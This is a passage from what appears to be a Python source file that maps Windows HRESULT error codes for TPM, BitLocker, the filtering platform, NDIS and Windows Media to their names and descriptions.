the specified key was found.\"),\n        0x80290206: (\"TBSIMP_E_DUPLICATE_VHANDLE\", \"The specified virtual handle matches a virtual handle already in use.\"),\n        0x80290207: (\"TBSIMP_E_INVALID_OUTPUT_POINTER\", \"The pointer to the returned handle location was null or invalid.\"),\n        0x80290208: (\"TBSIMP_E_INVALID_PARAMETER\", \"One or more parameters are invalid.\"),\n        0x80290209: (\"TBSIMP_E_RPC_INIT_FAILED\", \"The RPC subsystem could not be initialized.\"),\n        0x8029020A: (\"TBSIMP_E_SCHEDULER_NOT_RUNNING\", \"The TBS scheduler is not running.\"),\n        0x8029020B: (\"TBSIMP_E_COMMAND_CANCELED\", \"The command was canceled.\"),\n        0x8029020C: (\"TBSIMP_E_OUT_OF_MEMORY\", \"There was not enough memory to fulfill the request.\"),\n        0x8029020D: (\"TBSIMP_E_LIST_NO_MORE_ITEMS\", \"The specified list is empty, or the iteration has reached the end of the list.\"),\n        0x8029020E: (\"TBSIMP_E_LIST_NOT_FOUND\", \"The specified item was not found in the list.\"),\n        0x8029020F: (\"TBSIMP_E_NOT_ENOUGH_SPACE\", \"The TPM does not have enough space to load the requested resource.\"),\n        0x80290210: (\"TBSIMP_E_NOT_ENOUGH_TPM_CONTEXTS\", \"There are too many TPM contexts in use.\"),\n        0x80290211: (\"TBSIMP_E_COMMAND_FAILED\", \"The TPM command failed.\"),\n        0x80290212: (\"TBSIMP_E_UNKNOWN_ORDINAL\", \"The TBS does not recognize the specified ordinal.\"),\n        0x80290213: (\"TBSIMP_E_RESOURCE_EXPIRED\", \"The requested resource is no longer available.\"),\n        0x80290214: (\"TBSIMP_E_INVALID_RESOURCE\", \"The resource type did not match.\"),\n        0x80290215: (\"TBSIMP_E_NOTHING_TO_UNLOAD\", \"No resources can be unloaded.\"),\n        0x80290216: (\"TBSIMP_E_HASH_TABLE_FULL\", \"No new entries can be added to the hash table.\"),\n        0x80290217: (\"TBSIMP_E_TOO_MANY_TBS_CONTEXTS\", \"A new TBS context could not be created because there are too many open contexts.\"),\n        0x80290218: (\"TBSIMP_E_TOO_MANY_RESOURCES\", \"A new virtual resource could not be created because there are too many open virtual resources.\"),\n        0x80290219: (\"TBSIMP_E_PPI_NOT_SUPPORTED\", \"The physical presence interface is not supported.\"),\n        0x8029021A: (\"TBSIMP_E_TPM_INCOMPATIBLE\", \"TBS is not compatible with the version of TPM found on the system.\"),\n        0x80290300: (\"TPM_E_PPI_ACPI_FAILURE\", \"A general error was detected when attempting to acquire the BIOS response to a physical presence command.\"),\n        0x80290301: (\"TPM_E_PPI_USER_ABORT\", \"The user failed to confirm the TPM operation request.\"),\n        0x80290302: (\"TPM_E_PPI_BIOS_FAILURE\", \"The BIOS failure prevented the successful execution of the requested TPM operation (for example, invalid TPM operation request, BIOS communication error with the TPM).\"),\n        0x80290303: (\"TPM_E_PPI_NOT_SUPPORTED\", \"The BIOS does not support the physical presence interface.\"),\n        0x80300002: (\"PLA_E_DCS_NOT_FOUND\", \"A Data Collector Set was not found.\"),\n        0x80300045: (\"PLA_E_TOO_MANY_FOLDERS\", \"Unable to start Data Collector Set because there are too many folders.\"),\n        0x80300070: (\"PLA_E_NO_MIN_DISK\", \"Not enough free disk space to start Data Collector Set.\"),\n        0x803000AA: (\"PLA_E_DCS_IN_USE\", \"Data Collector Set is in use.\"),\n        0x803000B7: (\"PLA_E_DCS_ALREADY_EXISTS\", \"Data Collector Set already exists.\"),\n        0x80300101: (\"PLA_E_PROPERTY_CONFLICT\", \"Property value conflict.\"),\n        0x80300102: (\"PLA_E_DCS_SINGLETON_REQUIRED\", \"The current configuration for this Data Collector Set requires that it contain exactly one Data Collector.\"),\n        0x80300103: (\"PLA_E_CREDENTIALS_REQUIRED\", \"A user account is required to commit the current Data Collector Set properties.\"),\n        0x80300104: (\"PLA_E_DCS_NOT_RUNNING\", \"Data Collector Set is not running.\"),\n        0x80300105: (\"PLA_E_CONFLICT_INCL_EXCL_API\", \"A conflict was detected in the list of include and exclude APIs. Do not specify the same API in both the include list and the exclude list.\"),\n        0x80300106: (\"PLA_E_NETWORK_EXE_NOT_VALID\", \"The executable path specified refers to a network share or UNC path.\"),\n        0x80300107: (\"PLA_E_EXE_ALREADY_CONFIGURED\", \"The executable path specified is already configured for API tracing.\"),\n        0x80300108: (\"PLA_E_EXE_PATH_NOT_VALID\", \"The executable path specified does not exist. Verify that the specified path is correct.\"),\n        0x80300109: (\"PLA_E_DC_ALREADY_EXISTS\", \"Data Collector already exists.\"),\n        0x8030010A: (\"PLA_E_DCS_START_WAIT_TIMEOUT\", \"The wait for the Data Collector Set start notification has timed out.\"),\n        0x8030010B: (\"PLA_E_DC_START_WAIT_TIMEOUT\", \"The wait for the Data Collector to start has timed out.\"),\n        0x8030010C: (\"PLA_E_REPORT_WAIT_TIMEOUT\", \"The wait for the report generation tool to finish has timed out.\"),\n        0x8030010D: (\"PLA_E_NO_DUPLICATES\", \"Duplicate items are not allowed.\"),\n        0x8030010E: (\"PLA_E_EXE_FULL_PATH_REQUIRED\", \"When specifying the executable to trace, you must specify a full path to the executable and not just a file name.\"),\n        0x8030010F: (\"PLA_E_INVALID_SESSION_NAME\", \"The session name provided is invalid.\"),\n        0x80300110: (\"PLA_E_PLA_CHANNEL_NOT_ENABLED\", \"The Event Log channel Microsoft-Windows-Diagnosis-PLA/Operational must be enabled to perform this operation.\"),\n        0x80300111: (\"PLA_E_TASKSCHED_CHANNEL_NOT_ENABLED\", \"The Event Log channel Microsoft-Windows-TaskScheduler must be enabled to perform this operation.\"),\n        0x80310000: (\"FVE_E_LOCKED_VOLUME\", \"The volume must be unlocked before it can be used.\"),\n        0x80310001: (\"FVE_E_NOT_ENCRYPTED\", \"The volume is fully decrypted and no key is available.\"),\n        0x80310002: (\"FVE_E_NO_TPM_BIOS\", \"The firmware does not support using a TPM during boot.\"),\n        0x80310003: (\"FVE_E_NO_MBR_METRIC\", \"The firmware does not use a TPM to perform initial program load (IPL) measurement.\"),\n        0x80310004: (\"FVE_E_NO_BOOTSECTOR_METRIC\", \"The master boot record (MBR) is not TPM-aware.\"),\n        0x80310005: (\"FVE_E_NO_BOOTMGR_METRIC\", \"The BOOTMGR is not being measured by the TPM.\"),\n        0x80310006: (\"FVE_E_WRONG_BOOTMGR\", \"The BOOTMGR component does not perform expected TPM measurements.\"),\n        0x80310007: (\"FVE_E_SECURE_KEY_REQUIRED\", \"No secure key protection mechanism has been defined.\"),\n        0x80310008: (\"FVE_E_NOT_ACTIVATED\", \"This volume has not been provisioned for encryption.\"),\n        0x80310009: (\"FVE_E_ACTION_NOT_ALLOWED\", \"Requested action was denied by the full-volume encryption (FVE) control engine.\"),\n        0x8031000A: (\"FVE_E_AD_SCHEMA_NOT_INSTALLED\", \"The Active Directory forest does not contain the required attributes and classes to host FVE or TPM information.\"),\n        0x8031000B: (\"FVE_E_AD_INVALID_DATATYPE\", \"The type of data obtained from Active Directory was not expected.\"),\n        0x8031000C: (\"FVE_E_AD_INVALID_DATASIZE\", \"The size of the data obtained from Active Directory was not expected.\"),\n        0x8031000D: (\"FVE_E_AD_NO_VALUES\", \"The attribute read from Active Directory has no (zero) values.\"),\n        0x8031000E: (\"FVE_E_AD_ATTR_NOT_SET\", \"The attribute was not set.\"),\n        0x8031000F: (\"FVE_E_AD_GUID_NOT_FOUND\", \"The specified GUID could not be found.\"),\n        0x80310010: (\"FVE_E_BAD_INFORMATION\", \"The control block for the encrypted volume is not valid.\"),\n        0x80310011: (\"FVE_E_TOO_SMALL\", \"Not enough free space remaining on volume to allow encryption.\"),\n        0x80310012: (\"FVE_E_SYSTEM_VOLUME\", \"The volume cannot be encrypted because it is required to boot the operating system.\"),\n        0x80310013: (\"FVE_E_FAILED_WRONG_FS\", \"The volume cannot be encrypted because the file system is not supported.\"),\n        0x80310014: (\"FVE_E_FAILED_BAD_FS\", \"The file system is inconsistent. Run CHKDSK.\"),\n        0x80310015: (\"FVE_E_NOT_SUPPORTED\", \"This volume cannot be encrypted.\"),\n        0x80310016: (\"FVE_E_BAD_DATA\", \"Data supplied is malformed.\"),\n        0x80310017: (\"FVE_E_VOLUME_NOT_BOUND\", \"Volume is not bound to the system.\"),\n        0x80310018: (\"FVE_E_TPM_NOT_OWNED\", \"TPM must be owned before a volume can be bound to it.\"),\n        0x80310019: (\"FVE_E_NOT_DATA_VOLUME\", \"The volume specified is not a data volume.\"),\n        0x8031001A: (\"FVE_E_AD_INSUFFICIENT_BUFFER\", \"The buffer supplied to a function was insufficient to contain the returned data.\"),\n        0x8031001B: (\"FVE_E_CONV_READ\", \"A read operation failed while converting the volume.\"),\n        0x8031001C: (\"FVE_E_CONV_WRITE\", \"A write operation failed while converting the volume.\"),\n        0x8031001D: (\"FVE_E_KEY_REQUIRED\", \"One or more key protection mechanisms are required for this volume.\"),\n        0x8031001E: (\"FVE_E_CLUSTERING_NOT_SUPPORTED\", \"Cluster configurations are not supported.\"),\n        0x8031001F: (\"FVE_E_VOLUME_BOUND_ALREADY\", \"The volume is already bound to the system.\"),\n        0x80310020: (\"FVE_E_OS_NOT_PROTECTED\", \"The boot OS volume is not being protected via FVE.\"),\n        0x80310021: (\"FVE_E_PROTECTION_DISABLED\", \"All protection mechanisms are effectively disabled (clear key exists).\"),\n        0x80310022: (\"FVE_E_RECOVERY_KEY_REQUIRED\", \"A recovery key protection mechanism is required.\"),\n        0x80310023: (\"FVE_E_FOREIGN_VOLUME\", \"This volume cannot be bound to a TPM.\"),\n        0x80310024: (\"FVE_E_OVERLAPPED_UPDATE\", \"The control block for the encrypted volume was updated by another thread. Try again.\"),\n        0x80310025: (\"FVE_E_TPM_SRK_AUTH_NOT_ZERO\", \"The SRK authentication of the TPM is not zero and, therefore, is not compatible.\"),\n        0x80310026: (\"FVE_E_FAILED_SECTOR_SIZE\", \"The volume encryption algorithm cannot be used on this sector size.\"),\n        0x80310027: (\"FVE_E_FAILED_AUTHENTICATION\", \"BitLocker recovery authentication failed.\"),\n        0x80310028: (\"FVE_E_NOT_OS_VOLUME\", \"The volume specified is not the boot OS volume.\"),\n        0x80310029: (\"FVE_E_AUTOUNLOCK_ENABLED\", \"Auto-unlock information for data volumes is present on the boot OS volume.\"),\n        0x8031002A: (\"FVE_E_WRONG_BOOTSECTOR\", \"The system partition boot sector does not perform TPM measurements.\"),\n        0x8031002B: (\"FVE_E_WRONG_SYSTEM_FS\", \"The system partition file system must be NTFS.\"),\n        0x8031002C: (\"FVE_E_POLICY_PASSWORD_REQUIRED\", \"Group policy requires a recovery password before encryption may begin.\"),\n        0x8031002D: (\"FVE_E_CANNOT_SET_FVEK_ENCRYPTED\", \"The volume encryption algorithm and key cannot be set on an encrypted volume.\"),\n        0x8031002E: (\"FVE_E_CANNOT_ENCRYPT_NO_KEY\", \"A key must be specified before encryption may begin.\"),\n        0x80310030: (\"FVE_E_BOOTABLE_CDDVD\", \"A bootable CD/DVD is in the system. Remove the CD/DVD and reboot the system.\"),\n        0x80310031: (\"FVE_E_PROTECTOR_EXISTS\", \"An instance of this key protector already exists on the volume.\"),\n        0x80310032: (\"FVE_E_RELATIVE_PATH\", \"The file cannot be saved to a relative path.\"),\n        0x80320001: (\"FWP_E_CALLOUT_NOT_FOUND\", \"The callout does not exist.\"),\n        0x80320002: (\"FWP_E_CONDITION_NOT_FOUND\", \"The filter condition does not exist.\"),\n        0x80320003: (\"FWP_E_FILTER_NOT_FOUND\", \"The filter does not exist.\"),\n        0x80320004: (\"FWP_E_LAYER_NOT_FOUND\", \"The layer does not exist.\"),\n        0x80320005: (\"FWP_E_PROVIDER_NOT_FOUND\", \"The provider does not exist.\"),\n        0x80320006: (\"FWP_E_PROVIDER_CONTEXT_NOT_FOUND\", \"The provider context does not exist.\"),\n        0x80320007: (\"FWP_E_SUBLAYER_NOT_FOUND\", \"The sublayer does not exist.\"),\n        0x80320008: (\"FWP_E_NOT_FOUND\", \"The object does not exist.\"),\n        0x80320009: (\"FWP_E_ALREADY_EXISTS\", \"An object with that GUID or LUID already exists.\"),\n        0x8032000A: (\"FWP_E_IN_USE\", \"The object is referenced by other objects and, therefore, cannot be deleted.\"),\n        0x8032000B: (\"FWP_E_DYNAMIC_SESSION_IN_PROGRESS\", \"The call is not allowed from within a dynamic session.\"),\n        0x8032000C: (\"FWP_E_WRONG_SESSION\", \"The call was made from the wrong session and, therefore, cannot be completed.\"),\n        0x8032000D: (\"FWP_E_NO_TXN_IN_PROGRESS\", \"The call must be made from within an explicit transaction.\"),\n        0x8032000E: (\"FWP_E_TXN_IN_PROGRESS\", \"The call is not allowed from within an explicit transaction.\"),\n        0x8032000F: (\"FWP_E_TXN_ABORTED\", \"The explicit transaction has been forcibly canceled.\"),\n        0x80320010: (\"FWP_E_SESSION_ABORTED\", \"The session has been canceled.\"),\n        0x80320011: (\"FWP_E_INCOMPATIBLE_TXN\", \"The call is not allowed from within a read-only transaction.\"),\n        0x80320012: (\"FWP_E_TIMEOUT\", \"The call timed out while waiting to acquire the transaction lock.\"),\n        0x80320013: (\"FWP_E_NET_EVENTS_DISABLED\", \"Collection of network diagnostic events is disabled.\"),\n        0x80320014: (\"FWP_E_INCOMPATIBLE_LAYER\", \"The operation is not supported by the specified layer.\"),\n        0x80320015: (\"FWP_E_KM_CLIENTS_ONLY\", \"The call is allowed for kernel-mode callers only.\"),\n        0x80320016: (\"FWP_E_LIFETIME_MISMATCH\", \"The call tried to associate two objects with incompatible lifetimes.\"),\n        0x80320017: (\"FWP_E_BUILTIN_OBJECT\", \"The object is built in and, therefore, cannot be deleted.\"),\n        0x80320018: (\"FWP_E_TOO_MANY_BOOTTIME_FILTERS\", \"The maximum number of boot-time filters has been reached.\"),\n        0x80320019: (\"FWP_E_NOTIFICATION_DROPPED\", \"A notification could not be delivered because a message queue is at its maximum capacity.\"),\n        0x8032001A: (\"FWP_E_TRAFFIC_MISMATCH\", \"The traffic parameters do not match those for the security association context.\"),\n        0x8032001B: (\"FWP_E_INCOMPATIBLE_SA_STATE\", \"The call is not allowed for the current security association state.\"),\n        0x8032001C: (\"FWP_E_NULL_POINTER\", \"A required pointer is null.\"),\n        0x8032001D: (\"FWP_E_INVALID_ENUMERATOR\", \"An enumerator is not valid.\"),\n        0x8032001E: (\"FWP_E_INVALID_FLAGS\", \"The flags field contains an invalid value.\"),\n        0x8032001F: (\"FWP_E_INVALID_NET_MASK\", \"A network mask is not valid.\"),\n        0x80320020: (\"FWP_E_INVALID_RANGE\", \"An FWP_RANGE is not valid.\"),\n        0x80320021: (\"FWP_E_INVALID_INTERVAL\", \"The time interval is not valid.\"),\n        0x80320022: (\"FWP_E_ZERO_LENGTH_ARRAY\", \"An array that must contain at least one element that is zero-length.\"),\n        0x80320023: (\"FWP_E_NULL_DISPLAY_NAME\", \"The displayData.name field cannot be null.\"),\n        0x80320024: (\"FWP_E_INVALID_ACTION_TYPE\", \"The action type is not one of the allowed action types for a filter.\"),\n        0x80320025: (\"FWP_E_INVALID_WEIGHT\", \"The filter weight is not valid.\"),\n        0x80320026: (\"FWP_E_MATCH_TYPE_MISMATCH\", \"A filter condition contains a match type that is not compatible with the operands.\"),\n        0x80320027: (\"FWP_E_TYPE_MISMATCH\", \"An FWP_VALUE or FWPM_CONDITION_VALUE is of the wrong type.\"),\n        0x80320028: (\"FWP_E_OUT_OF_BOUNDS\", \"An integer value is outside the allowed range.\"),\n        0x80320029: (\"FWP_E_RESERVED\", \"A reserved field is nonzero.\"),\n        0x8032002A: (\"FWP_E_DUPLICATE_CONDITION\", \"A filter cannot contain multiple conditions operating on a single field.\"),\n        0x8032002B: (\"FWP_E_DUPLICATE_KEYMOD\", \"A policy cannot contain the same keying module more than once.\"),\n        0x8032002C: (\"FWP_E_ACTION_INCOMPATIBLE_WITH_LAYER\", \"The action type is not compatible with the layer.\"),\n        0x8032002D: (\"FWP_E_ACTION_INCOMPATIBLE_WITH_SUBLAYER\", \"The action type is not compatible with the sublayer.\"),\n        0x8032002E: (\"FWP_E_CONTEXT_INCOMPATIBLE_WITH_LAYER\", \"The raw context or the provider context is not compatible with the layer.\"),\n        0x8032002F: (\"FWP_E_CONTEXT_INCOMPATIBLE_WITH_CALLOUT\", \"The raw context or the provider context is not compatible with the callout.\"),\n        0x80320030: (\"FWP_E_INCOMPATIBLE_AUTH_METHOD\", \"The authentication method is not compatible with the policy type.\"),\n        0x80320031: (\"FWP_E_INCOMPATIBLE_DH_GROUP\", \"The Diffie-Hellman group is not compatible with the policy type.\"),\n        0x80320032: (\"FWP_E_EM_NOT_SUPPORTED\", \"An Internet Key Exchange (IKE) policy cannot contain an Extended Mode policy.\"),\n        0x80320033: (\"FWP_E_NEVER_MATCH\", \"The enumeration template or subscription will never match any objects.\"),\n        0x80320034: (\"FWP_E_PROVIDER_CONTEXT_MISMATCH\", \"The provider context is of the wrong type.\"),\n        0x80320035: (\"FWP_E_INVALID_PARAMETER\", \"The parameter is incorrect.\"),\n        0x80320036: (\"FWP_E_TOO_MANY_SUBLAYERS\", \"The maximum number of sublayers has been reached.\"),\n        0x80320037: (\"FWP_E_CALLOUT_NOTIFICATION_FAILED\", \"The notification function for a callout returned an error.\"),\n        0x80320038: (\"FWP_E_INCOMPATIBLE_AUTH_CONFIG\", \"The IPsec authentication configuration is not compatible with the authentication type.\"),\n        0x80320039: (\"FWP_E_INCOMPATIBLE_CIPHER_CONFIG\", \"The IPsec cipher configuration is not compatible with the cipher type.\"),\n        0x80340002: (\"ERROR_NDIS_INTERFACE_CLOSING\", \"The binding to the network interface is being closed.\"),\n        0x80340004: (\"ERROR_NDIS_BAD_VERSION\", \"An invalid version was specified.\"),\n        0x80340005: (\"ERROR_NDIS_BAD_CHARACTERISTICS\", \"An invalid characteristics table was used.\"),\n        0x80340006: (\"ERROR_NDIS_ADAPTER_NOT_FOUND\", \"Failed to find the network interface, or the network interface is not ready.\"),\n        0x80340007: (\"ERROR_NDIS_OPEN_FAILED\", \"Failed to open the network interface.\"),\n        0x80340008: (\"ERROR_NDIS_DEVICE_FAILED\", \"The network interface has encountered an internal unrecoverable failure.\"),\n        0x80340009: (\"ERROR_NDIS_MULTICAST_FULL\", \"The multicast list on the network interface is full.\"),\n        0x8034000A: (\"ERROR_NDIS_MULTICAST_EXISTS\", \"An attempt was made to add a duplicate multicast address to the list.\"),\n        0x8034000B: (\"ERROR_NDIS_MULTICAST_NOT_FOUND\", \"At attempt was made to remove a multicast address that was never added.\"),\n        0x8034000C: (\"ERROR_NDIS_REQUEST_ABORTED\", \"The network interface aborted the request.\"),\n        0x8034000D: (\"ERROR_NDIS_RESET_IN_PROGRESS\", \"The network interface cannot process the request because it is being reset.\"),\n        0x8034000F: (\"ERROR_NDIS_INVALID_PACKET\", \"An attempt was made to send an invalid packet on a network interface.\"),\n        0x80340010: (\"ERROR_NDIS_INVALID_DEVICE_REQUEST\", \"The specified request is not a valid operation for the target device.\"),\n        0x80340011: (\"ERROR_NDIS_ADAPTER_NOT_READY\", \"The network interface is not ready to complete this operation.\"),\n        0x80340014: (\"ERROR_NDIS_INVALID_LENGTH\", \"The length of the buffer submitted for this operation is not valid.\"),\n        0x80340015: (\"ERROR_NDIS_INVALID_DATA\", \"The data used for this operation is not valid.\"),\n        0x80340016: (\"ERROR_NDIS_BUFFER_TOO_SHORT\", \"The length of the buffer submitted for this operation is too small.\"),\n        0x80340017: (\"ERROR_NDIS_INVALID_OID\", \"The network interface does not support this OID.\"),\n        0x80340018: (\"ERROR_NDIS_ADAPTER_REMOVED\", \"The network interface has been removed.\"),\n        0x80340019: (\"ERROR_NDIS_UNSUPPORTED_MEDIA\", \"The network interface does not support this media type.\"),\n        0x8034001A: (\"ERROR_NDIS_GROUP_ADDRESS_IN_USE\", \"An attempt was made to remove a token ring group address that is in use by other components.\"),\n        0x8034001B: (\"ERROR_NDIS_FILE_NOT_FOUND\", \"An attempt was made to map a file that cannot be found.\"),\n        0x8034001C: (\"ERROR_NDIS_ERROR_READING_FILE\", \"An error occurred while the NDIS tried to map the file.\"),\n        0x8034001D: (\"ERROR_NDIS_ALREADY_MAPPED\", \"An attempt was made to map a file that is already mapped.\"),\n        0x8034001E: (\"ERROR_NDIS_RESOURCE_CONFLICT\", \"An attempt to allocate a hardware resource failed because the resource is used by another component.\"),\n        0x8034001F: (\"ERROR_NDIS_MEDIA_DISCONNECTED\", \"The I/O operation failed because network media is disconnected or the wireless access point is out of range.\"),\n        0x80340022: (\"ERROR_NDIS_INVALID_ADDRESS\", \"The network address used in the request is invalid.\"),\n        0x8034002A: (\"ERROR_NDIS_PAUSED\", \"The offload operation on the network interface has been paused.\"),\n        0x8034002B: (\"ERROR_NDIS_INTERFACE_NOT_FOUND\", \"The network interface was not found.\"),\n        0x8034002C: (\"ERROR_NDIS_UNSUPPORTED_REVISION\", \"The revision number specified in the structure is not supported.\"),\n        0x8034002D: (\"ERROR_NDIS_INVALID_PORT\", \"The specified port does not exist on this network interface.\"),\n        0x8034002E: (\"ERROR_NDIS_INVALID_PORT_STATE\", \"The current state of the specified port on this network interface does not support the requested operation.\"),\n        0x803400BB: (\"ERROR_NDIS_NOT_SUPPORTED\", \"The network interface does not support this request.\"),\n        0x80342000: (\"ERROR_NDIS_DOT11_AUTO_CONFIG_ENABLED\", \"The wireless local area network (LAN) interface is in auto-configuration mode and does not support the requested parameter change operation.\"),\n        0x80342001: (\"ERROR_NDIS_DOT11_MEDIA_IN_USE\", \"The wireless LAN interface is busy and cannot perform the requested operation.\"),\n        0x80342002: (\"ERROR_NDIS_DOT11_POWER_STATE_INVALID\", \"The wireless LAN interface is shutting down and does not support the requested operation.\"),\n        0x8DEAD01B: (\"TRK_E_NOT_FOUND\", \"A requested object was not found.\"),\n        0x8DEAD01C: (\"TRK_E_VOLUME_QUOTA_EXCEEDED\", \"The server received a CREATE_VOLUME subrequest of a SYNC_VOLUMES request, but the ServerVolumeTable size limit for the RequestMachine has already been reached.\"),\n        0x8DEAD01E: (\"TRK_SERVER_TOO_BUSY\", \"The server is busy, and the client should retry the request at a later time.\"),\n        0xC0090001: (\"ERROR_AUDITING_DISABLED\", \"The specified event is currently not being audited.\"),\n        0xC0090002: (\"ERROR_ALL_SIDS_FILTERED\", \"The SID filtering operation removed all SIDs.\"),\n        0xC0090003: (\"ERROR_BIZRULES_NOT_ENABLED\", \"Business rule scripts are disabled for the calling application.\"),\n        0xC00D0005: (\"NS_E_NOCONNECTION\", \"There is no connection established with the Windows Media server. The operation failed.\"),\n        0xC00D0006: (\"NS_E_CANNOTCONNECT\", \"Unable to establish a connection to the server.\"),\n        0xC00D0007: (\"NS_E_CANNOTDESTROYTITLE\", \"Unable to destroy the title.\"),\n        0xC00D0008: (\"NS_E_CANNOTRENAMETITLE\", \"Unable to rename the title.\"),\n        0xC00D0009: (\"NS_E_CANNOTOFFLINEDISK\", \"Unable to offline disk.\"),\n        0xC00D000A: (\"NS_E_CANNOTONLINEDISK\", \"Unable to online disk.\"),\n        0xC00D000B: (\"NS_E_NOREGISTEREDWALKER\", \"There is no file parser registered for this type of file.\"),\n        0xC00D000C: (\"NS_E_NOFUNNEL\", \"There is no data connection established.\"),\n        0xC00D000D: (\"NS_E_NO_LOCALPLAY\", \"Failed to load the local play DLL.\"),\n        0xC00D000E: (\"NS_E_NETWORK_BUSY\", \"The network is busy.\"),\n        0xC00D000F: (\"NS_E_TOO_MANY_SESS\", \"The server session limit was exceeded.\"),\n        0xC00D0010: (\"NS_E_ALREADY_CONNECTED\", \"The network connection already exists.\"),\n        0xC00D0011: (\"NS_E_INVALID_INDEX\", \"Index %1 is invalid.\"),\n        0xC00D0012: (\"NS_E_PROTOCOL_MISMATCH\", \"There is no protocol or protocol version supported by both the client and the server.\"),\n        0xC00D0013: (\"NS_E_TIMEOUT\", \"The server, a computer set up to offer multimedia content to other computers, could not handle your request for multimedia content in a timely manner. Please try again later.\"),\n        0xC00D0014: (\"NS_E_NET_WRITE\", \"Error writing to the network.\"),\n        0xC00D0015: (\"NS_E_NET_READ\", \"Error reading from the network.\"),\n        0xC00D0016: (\"NS_E_DISK_WRITE\", \"Error writing to a disk.\"),\n        0xC00D0017: (\"NS_E_DISK_READ\", \"Error reading from a disk.\"),\n        0xC00D0018: (\"NS_E_FILE_WRITE\", \"Error writing to a file.\"),\n        0xC00D0019: (\"NS_E_FILE_READ\", \"Error reading from a file.\"),\n        0xC00D001A: (\"NS_E_FILE_NOT_FOUND\", \"The system cannot find the file specified.\"),\n        0xC00D001B: (\"NS_E_FILE_EXISTS\", \"The file already exists.\"),\n        0xC00D001C: (\"NS_E_INVALID_NAME\", \"The file name, directory name, or volume label syntax is incorrect.\"),\n        0xC00D001D: (\"NS_E_FILE_OPEN_FAILED\", \"Failed to open a file.\"),\n        0xC00D001E: (\"NS_E_FILE_ALLOCATION_FAILED\", \"Unable to allocate a file.\"),\n        0xC00D001F: (\"NS_E_FILE_INIT_FAILED\", \"Unable to initialize a file.\"),\n        0xC00D0020: (\"NS_E_FILE_PLAY_FAILED\", \"Unable to play a file.\"),\n        0xC00D0021: (\"NS_E_SET_DISK_UID_FAILED\", \"Could not set the disk UID.\"),\n        0xC00D0022: (\"NS_E_INDUCED\", \"An error was induced for testing purposes.\"),\n        0xC00D0023: (\"NS_E_CCLINK_DOWN\", \"Two Content Servers failed to communicate.\"),\n        0xC00D0024: (\"NS_E_INTERNAL\", \"An unknown error occurred.\"),\n        0xC00D0025: (\"NS_E_BUSY\", \"The requested resource is in use.\"),\n        0xC00D0026: (\"NS_E_UNRECOGNIZED_STREAM_TYPE\", \"The specified protocol is not recognized. Be sure that the file name and syntax, such as slashes, are correct for the protocol.\"),\n        0xC00D0027: (\"NS_E_NETWORK_SERVICE_FAILURE\", \"The network service provider failed.\"),\n        0xC00D0028: (\"NS_E_NETWORK_RESOURCE_FAILURE\", \"An attempt to acquire a network resource failed.\"),\n        0xC00D0029: (\"NS_E_CONNECTION_FAILURE\", \"The network connection has failed.\"),\n        0xC00D002A: (\"NS_E_SHUTDOWN\", \"The session is being terminated locally.\"),\n        0xC00D002B: (\"NS_E_INVALID_REQUEST\", \"The request is invalid in the current state.\"),\n        0xC00D002C: (\"NS_E_INSUFFICIENT_BANDWIDTH\", \"There is insufficient bandwidth available to fulfill the request.\"),\n        0xC00D002D: (\"NS_E_NOT_REBUILDING\", \"The disk is not rebuilding.\"),\n        0xC00D002E: (\"NS_E_LATE_OPERATION\", \"An operation requested for a particular time could not be carried out on schedule.\"),\n        0xC00D002F: (\"NS_E_INVALID_DATA\", \"Invalid or corrupt data was encountered.\"),\n        0xC00D0030: (\"NS_E_FILE_BANDWIDTH_LIMIT\", \"The bandwidth required to stream a file is higher than the maximum file bandwidth allowed on the server.\"),\n        0xC00D0031: (\"NS_E_OPEN_FILE_LIMIT\", \"The client cannot have any more files open simultaneously.\"),\n        0xC00D0032: (\"NS_E_BAD_CONTROL_DATA\", \"The server received invalid data from the client on the control connection.\"),\n        0xC00D0033: (\"NS_E_NO_STREAM\", \"There is no stream available.\"),\n        0xC00D0034: (\"NS_E_STREAM_END\", \"There is no more data in the stream.\"),\n        0xC00D0035: (\"NS_E_SERVER_NOT_FOUND\", \"The specified server could not be found.\"),\n        0xC00D0036: (\"NS_E_DUPLICATE_NAME\", \"The specified name is already in use.\"),\n        0xC00D0037: (\"NS_E_DUPLICATE_ADDRESS\", \"The specified address is already in use.\"),\n        0xC00D0038: (\"NS_E_BAD_MULTICAST_ADDRESS\", \"The specified address is not a valid multicast address.\"),\n        0xC00D0039: (\"NS_E_BAD_ADAPTER_ADDRESS\", \"The specified adapter address is invalid.\"),\n        0xC00D003A: (\"NS_E_BAD_DELIVERY_MODE\", \"The specified delivery mode is invalid.\"),\n        0xC00D003B: (\"NS_E_INVALID_CHANNEL\", \"The specified station does not exist.\"),\n        0xC00D003C: (\"NS_E_INVALID_STREAM\", \"The specified stream does not exist.\"),\n        0xC00D003D: (\"NS_E_INVALID_ARCHIVE\", \"The specified archive could not be opened.\"),\n        0xC00D003E: (\"NS_E_NOTITLES\", \"The system cannot find any titles on the server.\"),\n        0xC00D003F: (\"NS_E_INVALID_CLIENT\", \"The system cannot find the client specified.\"),\n        0xC00D0040: (\"NS_E_INVALID_BLACKHOLE_ADDRESS\", \"The Blackhole Address is not initialized.\"),\n        0xC00D0041: (\"NS_E_INCOMPATIBLE_FORMAT\", \"The station does not support the stream format.\"),\n        0xC00D0042: (\"NS_E_INVALID_KEY\", \"The specified key is not valid.\"),\n        0xC00D0043: (\"NS_E_INVALID_PORT\", \"The specified port is not valid.\"),\n        0xC00D0044: (\"NS_E_INVALID_TTL\", \"The specified TTL is not valid.\"),\n        0xC00D0045: (\"NS_E_STRIDE_REFUSED\", \"The request to fast forward or rewind could not be fulfilled.\"),\n        0xC00D0046: (\"NS_E_MMSAUTOSERVER_CANTFINDWALKER\", \"Unable to load the appropriate file parser.\"),\n        0xC00D0047: (\"NS_E_MAX_BITRATE\", \"Cannot exceed the maximum bandwidth limit.\"),\n        0xC00D0048: (\"NS_E_LOGFILEPERIOD\", \"Invalid value for LogFilePeriod.\"),\n        0xC00D0049: (\"NS_E_MAX_CLIENTS\", \"Cannot exceed the maximum client limit.\"),\n        0xC00D004A: (\"NS_E_LOG_FILE_SIZE\", \"The maximum log file size has been reached.\"),\n        0xC00D004B: (\"NS_E_MAX_FILERATE\", \"Cannot exceed the maximum file rate.\"),\n        0xC00D004C: (\"NS_E_WALKER_UNKNOWN\", \"Unknown file type.\"),\n        0xC00D004D: (\"NS_E_WALKER_SERVER\", \"The specified file, %1, cannot be loaded onto the specified server, %2.\"),\n        0xC00D004E: (\"NS_E_WALKER_USAGE\", \"There was a usage error with file parser.\"),\n        0xC00D0050: (\"NS_E_TIGER_FAIL\", \"The Title 